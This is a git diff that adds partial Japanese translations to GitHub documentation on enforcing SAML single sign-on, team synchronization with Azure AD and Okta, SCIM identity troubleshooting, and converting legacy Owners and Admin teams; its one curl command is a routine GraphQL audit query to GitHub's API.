index 667d5251a9..5cc02f2e20 100644
--- a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md
+++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md
@@ -1,5 +1,5 @@
 ---
-title: Enforcing SAML single sign-on for your organization
+title: Organization で SAML シングルサインオンを施行する
 intro: Organization owners and admins can enforce SAML SSO so that all organization members must authenticate via an identity provider (IdP).
 redirect_from:
   - /articles/enforcing-saml-single-sign-on-for-your-organization
@@ -9,7 +9,7 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Enforce SAML single sign-on
+shortTitle: SAMLシングルサインオンの施行
 ---
 
 ## About enforcement of SAML SSO for your organization
@@ -18,33 +18,31 @@ When you enable SAML SSO, {% data variables.product.prodname_dotcom %} will prom
 
 ![Banner with prompt to authenticate via SAML SSO to access organization](/assets/images/help/saml/sso-has-been-enabled.png)
 
-You can also enforce SAML SSO for your organization. {% data reusables.saml.when-you-enforce %} Enforcement removes any members and administrators who have not authenticated via your IdP from the organization. {% data variables.product.company_short %} sends an email notification to each removed user. 
+You can also enforce SAML SSO for your organization. {% data reusables.saml.when-you-enforce %} Enforcement removes any members and administrators who have not authenticated via your IdP from the organization. {% data variables.product.company_short %} sends an email notification to each removed user.
 
-You can restore organization members once they successfully complete single sign-on. Removed users' access privileges and settings are saved for three months and can be restored during this time frame. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)."
+Organization のメンバーが正常にシングルサインオンを完了すると、メンバーを復元できます。 Removed users' access privileges and settings are saved for three months and can be restored during this time frame. 詳しい情報については、「[Organization の以前のメンバーを回復する](/articles/reinstating-a-former-member-of-your-organization)」を参照してください。
 
 Bots and service accounts that do not have external identities set up in your organization's IdP will also be removed when you enforce SAML SSO. For more information about bots and service accounts, see "[Managing bots and service accounts with SAML single sign-on](/articles/managing-bots-and-service-accounts-with-saml-single-sign-on)."
 
-If your organization is owned by an enterprise account, requiring SAML for the enterprise account will override your organization-level SAML configuration and enforce SAML SSO for every organization in the enterprise. For more information, see "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+If your organization is owned by an enterprise account, requiring SAML for the enterprise account will override your organization-level SAML configuration and enforce SAML SSO for every organization in the enterprise. 詳しい情報については、「[Enterprise 向けのSAML シングルサインオンを設定する](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)」を参照してください。
 
 {% tip %}
 
-**Tip:** {% data reusables.saml.testing-saml-sso %}
+**ヒント:** {% data reusables.saml.testing-saml-sso %}
 
 {% endtip %}
 
 ## Enforcing SAML SSO for your organization
 
-1. Enable and test SAML SSO for your organization, then authenticate with your IdP at least once. For more information, see "[Enabling and testing SAML single sign-on for your organization](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)."
-1. Prepare to enforce SAML SSO for your organization. For more information, see "[Preparing to enforce SAML single sign-on in your organization](/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization)."
+1. Enable and test SAML SSO for your organization, then authenticate with your IdP at least once. 詳細は「[Organization での SAML シングルサインオンの有効化とテスト](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)」を参照してください。
+1. Prepare to enforce SAML SSO for your organization. 詳細は「[Organization での SAML シングルサインオンの施行を準備する](/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization)」を参照してください。
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-1. Under "SAML single sign-on", select **Require SAML SSO authentication for all members of the _ORGANIZATION_ organization**.
-    !["Require SAML SSO authentication" checkbox](/assets/images/help/saml/require-saml-sso-authentication.png)
-1. If any organization members have not authenticated via your IdP, {% data variables.product.company_short %} displays the members. If you enforce SAML SSO, {% data variables.product.company_short %} will remove the members from the organization. Review the warning and click **Remove members and require SAML single sign-on**.
-    !["Confirm SAML SSO enforcement" dialog with list of members to remove from organization](/assets/images/help/saml/confirm-saml-sso-enforcement.png)
+1. Under "SAML single sign-on", select **Require SAML SSO authentication for all members of the _ORGANIZATION_ organization**. !["Require SAML SSO authentication" checkbox](/assets/images/help/saml/require-saml-sso-authentication.png)
+1. If any organization members have not authenticated via your IdP, {% data variables.product.company_short %} displays the members. If you enforce SAML SSO, {% data variables.product.company_short %} will remove the members from the organization. Review the warning and click **Remove members and require SAML single sign-on**. !["Confirm SAML SSO enforcement" dialog with list of members to remove from organization](/assets/images/help/saml/confirm-saml-sso-enforcement.png)
 1. Under "Single sign-on recovery codes", review your recovery codes. Store the recovery codes in a safe location like a password manager.
 
-## Further reading
+## 参考リンク
 
-- "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)"
+- [組織へのメンバーの SAML アクセスの表示と管理](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)
diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
index 668ba3b7bc..a718c3f43e 100644
--- a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
+++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
@@ -1,5 +1,5 @@
 ---
-title: Managing SAML single sign-on for your organization
+title: Organization で SAML シングルサインオンを管理する
 intro: Organization owners can manage organization members' identities and access to the organization with SAML single sign-on (SSO).
 redirect_from:
   - /articles/managing-member-identity-and-access-in-your-organization-with-saml-single-sign-on
@@ -22,6 +22,6 @@ children:
   - /managing-team-synchronization-for-your-organization
   - /accessing-your-organization-if-your-identity-provider-is-unavailable
   - /troubleshooting-identity-and-access-management
-shortTitle: Manage SAML single sign-on
+shortTitle: SAMLシングルサインオンの管理
 ---
 
diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
index 353f17c351..a1eb3a592b 100644
--- a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
+++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing team synchronization for your organization
-intro: 'You can enable and disable team synchronization between your identity provider (IdP) and your organization on {% data variables.product.product_name %}.'
+title: Organization の Team 同期を管理する
+intro: '{% data variables.product.product_name %} 上のアイデンティティプロバイダ (IdP) と Organization の間で Team の同期の有効/無効を切り替えることができます。'
 redirect_from:
   - /articles/synchronizing-teams-between-your-identity-provider-and-github
   - /github/setting-up-and-managing-organizations-and-teams/synchronizing-teams-between-your-identity-provider-and-github
@@ -13,14 +13,14 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage team synchronization
+shortTitle: Teamの同期の管理
 ---
 
 {% data reusables.enterprise-accounts.emu-scim-note %}
 
-## About team synchronization
+## Team の同期について
 
-You can enable team synchronization between your IdP and {% data variables.product.product_name %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups.
+IdP と {% data variables.product.product_name %} の間で Team の同期を有効化すると、Organization のオーナーとチームメンテナが Organization の Team を IdP グループに接続できるようになります。
 
 {% data reusables.identity-and-permissions.about-team-sync %}
 
@@ -28,25 +28,25 @@ You can enable team synchronization between your IdP and {% data variables.produ
 
 {% data reusables.identity-and-permissions.sync-team-with-idp-group %}
 
-You can also enable team synchronization for organizations owned by an enterprise account. For more information, see "[Managing team synchronization for organizations in your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+Enterprise アカウントが所有する Organization に対して Team の同期を有効化することもできます。 For more information, see "[Managing team synchronization for organizations in your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
 
 {% data reusables.enterprise-accounts.team-sync-override %}
 
 {% data reusables.identity-and-permissions.team-sync-usage-limits %}
 
-## Enabling team synchronization
+## Team の同期を有効化する
 
-The steps to enable team synchronization depend on the IdP you want to use. There are prerequisites to enable team synchronization that apply to every IdP. Each individual IdP has additional prerequisites.
+Team の同期を有効化する手順は、使用する IdP によって異なります。 各 IdP によって、Team の同期を有効化するうえで必要な環境があります。 個々の IdP ごとに、さらに必要な環境があります。
 
-### Prerequisites
+### 必要な環境
 
 {% data reusables.identity-and-permissions.team-sync-required-permissions %}
 
-You must enable SAML single sign-on for your organization and your supported IdP. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+Organization と、サポートされている IdP について、SAMLシングルサインオンを有効にする必要があります。 詳細は「[Organization で SAML シングルサインオンを施行する](/articles/enforcing-saml-single-sign-on-for-your-organization)」を参照してください。
 
-You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)."
+You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. 詳しい情報については「[SAMLシングルサインオンで認証する](/articles/authenticating-with-saml-single-sign-on)」を参照してください。
 
-### Enabling team synchronization for Azure AD
+### Azure AD で Team の同期を有効化する
 
 {% data reusables.identity-and-permissions.team-sync-azure-permissions %}
 
@@ -56,14 +56,13 @@ You must have a linked SAML identity. To create a linked identity, you must auth
 {% data reusables.identity-and-permissions.team-sync-confirm-saml %}
 {% data reusables.identity-and-permissions.enable-team-sync-azure %}
 {% data reusables.identity-and-permissions.team-sync-confirm %}
-6. Review the identity provider tenant information you want to connect to your organization, then click **Approve**.
-  ![Pending request to enable team synchronization to a specific IdP tenant with option to approve or cancel request](/assets/images/help/teams/approve-team-synchronization.png)
+6. Organization に接続したいアイデンティティプロバイダのテナント情報を確認してから、[**Approve**] をクリックします。 ![特定の IdP テナントに対して、Team の同期を有効化するペンディングリクエストと、リクエストを承認またはキャンセルするオプション](/assets/images/help/teams/approve-team-synchronization.png)
 
-### Enabling team synchronization for Okta
+### Okta で Team の同期を有効化する
 
 Okta team synchronization requires that SAML and SCIM with Okta have already been set up for your organization.
 
-To avoid potential team synchronization errors with Okta, we recommend that you confirm that SCIM linked identities are correctly set up for all organization members who are members of your chosen Okta groups, before enabling team synchronization on {% data variables.product.prodname_dotcom %}. 
+To avoid potential team synchronization errors with Okta, we recommend that you confirm that SCIM linked identities are correctly set up for all organization members who are members of your chosen Okta groups, before enabling team synchronization on {% data variables.product.prodname_dotcom %}.
 
 If an organization member does not have a linked SCIM identity, then team synchronization will not work as expected and the user may not be added or removed from teams as expected. If any of these users are missing a SCIM linked identity, you will need to reprovision them.
 
@@ -76,19 +75,16 @@ For help on provisioning users that have missing a missing SCIM linked identity,
 {% data reusables.organizations.security %}
 {% data reusables.identity-and-permissions.team-sync-confirm-saml %}
 {% data reusables.identity-and-permissions.team-sync-confirm-scim %}
-1. Consider enforcing SAML in your organization to ensure that organization members link their SAML and SCIM identities. For more information, see "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)."
+1. Consider enforcing SAML in your organization to ensure that organization members link their SAML and SCIM identities. 詳細は「[Organization で SAML シングルサインオンを施行する](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)」を参照してください。
 {% data reusables.identity-and-permissions.enable-team-sync-okta %}
-7. Under your organization's name, type a valid SSWS token and the URL to your Okta instance.
-  ![Enable team synchronization Okta organization form](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png)
-6. Review the identity provider tenant information you want to connect to your organization, then click **Create**.
-  ![Enable team synchronization create button](/assets/images/help/teams/confirm-team-synchronization-okta.png)
+7. Organization 名の下で、有効な SSWS トークンと Okta インスタンスの URL を入力します。 ![Okta Organization で Team の同期を有効化するフォーム](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png)
+6. Organization に接続したいアイデンティティプロバイダのテナント情報を確認してから、[**Create**] をクリックします。 ![Team の同期を有効化する [Create] ボタン](/assets/images/help/teams/confirm-team-synchronization-okta.png)
 
-## Disabling team synchronization
+## Team の同期を無効化する
 
 {% data reusables.identity-and-permissions.team-sync-disable %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-5. Under "Team synchronization", click **Disable team synchronization**.
-  ![Disable team synchronization](/assets/images/help/teams/disable-team-synchronization.png)
+5. [Team synchronization] の下にある [**Disable team synchronization**] をクリックします。 ![Team の同期を無効化する](/assets/images/help/teams/disable-team-synchronization.png)
diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
index 8af5f30451..b006090bdb 100644
--- a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
+++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Preparing to enforce SAML single sign-on in your organization
-intro: 'Before you enforce SAML single sign-on in your organization, you should verify your organization''s membership and configure the connection settings to your identity provider.'
+title: Organization での SAML シングルサインオンの強制を準備する
+intro: Organization で SAML シングルサインオンを強制する前に、Organization のメンバーシップを検証し、アイデンティティプロバイダへの接続文字列を設定する必要があります。
 redirect_from:
   - /articles/preparing-to-enforce-saml-single-sign-on-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/preparing-to-enforce-saml-single-sign-on-in-your-organization
@@ -9,17 +9,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Prepare to enforce SAML SSO
+shortTitle: SAML SSOの強制の準備
 ---
 
 {% data reusables.saml.when-you-enforce %} Before enforcing SAML SSO in your organization, you should review organization membership, enable SAML SSO, and review organization members' SAML access. For more information, see the following.
 
-| Task | More information |
-| :- | :- |
-| Add or remove members from your organization | <ul><li>"[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)"</li><li>"[Removing a member from your organization](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization)"</li></ul> |
-| Connect your IdP to your organization by enabling SAML SSO | <ul><li>"[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)"</li><li>"[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)"</li></ul> |
+| Task                                                                                        | 詳細情報                      |
+|:------------------------------------------------------------------------------------------- |:------------------------- |
+| Add or remove members from your organization                                                | <ul><li>"[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)"</li><li>"[Removing a member from your organization](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization)"</li></ul> |
+| Connect your IdP to your organization by enabling SAML SSO                                  | <ul><li>"[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)"</li><li>"[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)"</li></ul> |
 | Ensure that your organization members have signed in and linked their accounts with the IdP | <ul><li>"[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)"</li></ul> |
 
-After you finish these tasks, you can enforce SAML SSO for your organization. For more information, see "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)."
+After you finish these tasks, you can enforce SAML SSO for your organization. 詳細は「[Organization で SAML シングルサインオンを施行する](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)」を参照してください。
 
 {% data reusables.saml.outside-collaborators-exemption %}
diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md
index 5e33eb9458..1964807f63 100644
--- a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md
+++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md
@@ -21,7 +21,7 @@ To check whether users have a SCIM identity (SCIM metadata) in their external id
 
 #### Auditing organization members on {% data variables.product.prodname_dotcom %}
 
-As an organization owner, to confirm that SCIM metadata exists for a single organization member, visit this URL, replacing `<organization>` and `<username>`: 
+As an organization owner, to confirm that SCIM metadata exists for a single organization member, visit this URL, replacing `<organization>` and `<username>`:
 
 > `https://github.com/orgs/<organization>/people/<username>/sso`
 
@@ -29,19 +29,19 @@ If the user's external identity includes SCIM metadata, the organization owner s
 
 #### Auditing organization members through the {% data variables.product.prodname_dotcom %} API
 
-As an organization owner, you can also query the SCIM REST API or GraphQL to list all SCIM provisioned identities in an organization. 
+As an organization owner, you can also query the SCIM REST API or GraphQL to list all SCIM provisioned identities in an organization.
 
-#### Using the REST API
+#### REST API を使用する
 
 The SCIM REST API will only return data for users that have SCIM metadata populated under their external identities. We recommend you compare a list of SCIM provisioned identities with a list of all your organization members.
 
-For more information, see:
+詳しい情報については、以下を参照してください。
   - "[List SCIM provisioned identities](/rest/reference/scim#list-scim-provisioned-identities)"
   - "[List organization members](/rest/reference/orgs#list-organization-members)"
 
 #### Using GraphQL
 
-This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% data variables.product.prodname_dotcom %} username (`login`) for each user in the organization. To use this query, replace `ORG` with your organization name. 
+This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% data variables.product.prodname_dotcom %} username (`login`) for each user in the organization. To use this query, replace `ORG` with your organization name.
 
 ```graphql
 {
@@ -72,7 +72,7 @@ This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% d
 curl -X POST -H "Authorization: Bearer <personal access token>" -H "Content-Type: application/json" -d '{ "query": "{ organization(login: \"ORG\") { samlIdentityProvider { externalIdentities(first: 100) { pageInfo { endCursor startCursor hasNextPage } edges { cursor node { samlIdentity { nameId } scimIdentity {username}  user { login } } } } } } }" }'  https://api.github.com/graphql
 ```
 
-For more information on using the GraphQL API, see: 
+For more information on using the GraphQL API, see:
    - "[GraphQL guides](/graphql/guides)"
    - "[GraphQL explorer](/graphql/overview/explorer)"
 
@@ -82,4 +82,4 @@ You can re-provision SCIM for users manually through your IdP. For example, to r
 
 To confirm that a user's SCIM identity is created, we recommend testing this process with a single organization member whom you have confirmed doesn't have a SCIM external identity. After manually updating the users in your IdP, you can check if the user's SCIM identity was created using the SCIM API or on {% data variables.product.prodname_dotcom %}. For more information, see "[Auditing users for missing SCIM metadata](#auditing-users-for-missing-scim-metadata)" or the REST API endpoint "[Get SCIM provisioning information for a user](/rest/reference/scim#get-scim-provisioning-information-for-a-user)."
 
-If re-provisioning SCIM for users doesn't help, please contact {% data variables.product.prodname_dotcom %} Support.
\ No newline at end of file
+If re-provisioning SCIM for users doesn't help, please contact {% data variables.product.prodname_dotcom %} Support.
diff --git a/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md b/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
index 02f92675b7..63e284a7a1 100644
--- a/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
+++ b/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
@@ -1,6 +1,6 @@
 ---
-title: Converting an admin team to improved organization permissions
-intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. Members of legacy admin teams automatically retain the ability to create repositories until those teams are migrated to the improved organization permissions model.'
+title: 管理者 Team を改善された Organization の権限に移行する
+intro: 2015 年 9 月以降に作成された Organization の場合、Organization の権限モデルはデフォルトで改善されています。 2015 年 9 月より前に作成された Organization は、古いオーナーおよび管理者 Team から、改善された権限モデルに移行する必要があるかもしれません。 レガシーの管理者 Team は、改善された Organization 権限モデルに移行するまで、リポジトリの作成資格を自動的に維持します。
 redirect_from:
   - /articles/converting-your-previous-admin-team-to-the-improved-organization-permissions
   - /articles/converting-an-admin-team-to-improved-organization-permissions
@@ -12,23 +12,23 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Convert admin team
+shortTitle: 管理Teamの変換
 ---
 
-You can remove the ability for members of legacy admin teams to create repositories by creating a new team for these members, ensuring that the team has necessary access to the organization's repositories, then deleting the legacy admin team.
+レガシーの管理者 Team メンバーのために新しい Team を作成することで、レガシーの管理者 Team が持つリポジトリ作成の資格を削除できます。Team が Organization のリポジトリに対して必要なアクセスを持っていることを確認してから、レガシーの管理者 Teamを削除してください。
 
 For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
 {% warning %}
 
-**Warnings:**
-- If there are members of your legacy Admin team who are not members of other teams, deleting the team will remove those members from the organization. Before deleting the team, ensure members are already direct members of the organization, or have collaborator access to necessary repositories.
-- To prevent the loss of private forks made by members of the legacy Admin team, you must follow steps 1-3 below before deleting the legacy Admin team.
-- Because "admin" is a term for organization members with specific [access to certain repositories](/articles/repository-permission-levels-for-an-organization) in the organization, we recommend you avoid that term in any team name you decide on.
+**警告:**
+- レガシーの管理者 Team のメンバーが、他の Team のメンバーではない場合、そのメンバーは Team を削除すると Organization から削除されます。 Team を削除する前に、メンバーを Organization の直接メンバーにするか、必要なリポジトリに対するコラボレーターアクセスを持たせてください。
+- レガシーの管理者 Team メンバーが作成したプライベートフォークを失わないために、レガシーの管理者 Teamを削除する前に、以下のステップ 1 - 3 に従う必要があります。
+- Organization のメンバーにとって "admin" は、Organization の特定の[リポジトリに対する特定のアクセス](/articles/repository-permission-levels-for-an-organization)を示します。ですから、これを Team 名として使うことは避けるようおすすめします。
 
 {% endwarning %}
 
-1. [Create a new team](/articles/creating-a-team).
-2. [Add each of the members](/articles/adding-organization-members-to-a-team) of your legacy admin team to the new team.
-3. [Give the new team equivalent access](/articles/managing-team-access-to-an-organization-repository) to each of the repositories the legacy team could access.
-4. [Delete the legacy admin team](/articles/deleting-a-team).
+1. [新しい Team を作成](/articles/creating-a-team)します。
+2. 新しい Team に、レガシーの管理者 Team の[各メンバーを追加](/articles/adding-organization-members-to-a-team)します。
+3. レガシーの管理者 Team がアクセスしていた各リポジトリについて、 [新しい Team に同等のアクセスを与えます](/articles/managing-team-access-to-an-organization-repository)。
+4. [レガシーの管理者 Team を削除](/articles/deleting-a-team)します。
diff --git a/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md b/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
index 2d483eed91..4009b3f814 100644
--- a/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
+++ b/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
@@ -1,6 +1,6 @@
 ---
-title: Converting an Owners team to improved organization permissions
-intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. The "Owner" is now an administrative role given to individual members of your organization. Members of your legacy Owners team are automatically given owner privileges.'
+title: オーナー Team を改善された Organization の権限に移行する
+intro: 2015 年 9 月以降に作成された Organization の場合、Organization の権限モデルはデフォルトで改善されています。 2015 年 9 月より前に作成された Organization は、古いオーナーおよび管理者 Team から、改善された権限モデルに移行する必要があるかもしれません。 「オーナー」は、Organization の各メンバーに与えられる管理者ロールとなりました。 レガシーのオーナー Team のメンバーには、オーナー権限が自動的に与えられます。
 redirect_from:
   - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions-early-access-program
   - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions
@@ -13,19 +13,19 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Convert Owners team
+shortTitle: オーナーTeamの変換
 ---
 
-You have a few options to convert your legacy Owners team:
+レガシーのオーナー Team を変換する方法はいくつかあります:
 
-- Give the team a new name that denotes the members have a special status in the organization.
-- Delete the team after ensuring all members have been added to teams that grant necessary access to the organization's repositories.
+- Team に、メンバーが Organization 内で特別なステータスを持っていることを示す名前を付ける。
+- すべてのメンバーが、Organization のリポジトリにアクセスできる必要な権限を持つ Team に追加されていることを確認してから、元の Team を削除する。
 
-## Give the Owners team a new name
+## オーナー Team に新しい名前を付ける
 
 {% tip %}
 
-   **Note:** Because "admin" is a term for organization members with specific [access to certain repositories](/articles/repository-permission-levels-for-an-organization) in the organization, we recommend you avoid that term in any team name you decide on.
+   **メモ:** Organization のメンバーにとって "admin" は、Organization の特定の[リポジトリに対する特定のアクセス](/articles/repository-permission-levels-for-an-organization) を示します。ですから、これを Team 名として使うことは避けるようおすすめします。
 
 {% endtip %}
 
@@ -33,19 +33,17 @@ You have a few options to convert your legacy Owners team:
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.owners-team %}
 {% data reusables.organizations.convert-owners-team-confirm %}
-5. In the team name field, choose a new name for the Owners team. For example:
-    - If very few members of your organization were members of the Owners team, you might name the team "Core".
-    - If all members of your organization were members of the Owners team so that they could [@mention teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), you might name the team "Employees".
-  ![The team name field, with the Owners team renamed to Core](/assets/images/help/teams/owners-team-new-name.png)
-6. Under the team description, click **Save and continue**.
-![The Save and continue button](/assets/images/help/teams/owners-team-save-and-continue.png)
-7. Optionally, [make the team *public*](/articles/changing-team-visibility).
+5. Team 名のフィールドで、オーナー Team の新しい名前を選びます。 例:
+    - Organization において、オーナー Team のメンバーがとても少ない場合には、"Core" といったチーム名がいいかもしれません。
+    - Organization のすべてのメンバーがオーナー Team のメンバーでもあり、[Team に @mention](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) できる場合は、"Employees" といったチーム名がいいかもしれません。 ![オーナー Team の名前を "Core" にした、Team 名フィールド](/assets/images/help/teams/owners-team-new-name.png)
+6. Team の説明の下にある、[**Save and continue**] をクリックします。 ![[Save and continue] ボタン](/assets/images/help/teams/owners-team-save-and-continue.png)
+7. また、代わりに [Team を*パブリック*にする](/articles/changing-team-visibility)こともできます。
 
-## Delete the legacy Owners team
+## レガシーのオーナー Team の削除
 
 {% warning %}
 
-**Warning:** If there are members of your Owners team who are not members of other teams, deleting the team will remove those members from the organization. Before deleting the team, ensure members are already direct members of the organization, or have collaborator access to necessary repositories.
+**警告:** オーナー Team のメンバーが、他の Team のメンバーではない場合、そのメンバーは Team を削除すると Organization から削除されます。 Team を削除する前に、メンバーを Organization の直接メンバーにするか、必要なリポジトリに対するコラボレーターアクセスを持たせてください。
 
 {% endwarning %}
 
@@ -53,5 +51,4 @@ You have a few options to convert your legacy Owners team:
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.owners-team %}
 {% data reusables.organizations.convert-owners-team-confirm %}
-5. At the bottom of the page, review the warning and click **Delete the Owners team**.
-  ![Link for deleting the Owners team](/assets/images/help/teams/owners-team-delete.png)
+5. ページの下部にある警告を確認し、[**Delete the Owners team**] をクリックします。 ![オーナー Team を削除するリンク](/assets/images/help/teams/owners-team-delete.png)
diff --git a/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/index.md b/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/index.md
index 510cc6c4d7..ab63ce82ea 100644
--- a/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/index.md
+++ b/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/index.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating to improved organization permissions
-intro: 'If your organization was created after September 2015, your organization includes improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved organization permissions model.'
+title: 改善された Organization の権限に移行する
+intro: 2015 年 9 月以降に作成された Organization の場合、Organization の権限モデルはデフォルトで改善されています。 2015 年 9 月より前に作成された Organization は、古いオーナーおよび管理者 Team から、改善された Organization の権限モデルに移行する必要があるかもしれません。
 redirect_from:
   - /articles/improved-organization-permissions
   - /articles/github-direct-organization-membership-pre-release-guide
@@ -18,6 +18,6 @@ children:
   - /converting-an-owners-team-to-improved-organization-permissions
   - /converting-an-admin-team-to-improved-organization-permissions
   - /migrating-admin-teams-to-improved-organization-permissions
-shortTitle: Migrate to improved permissions
+shortTitle: 改善された権限への移行
 ---
 
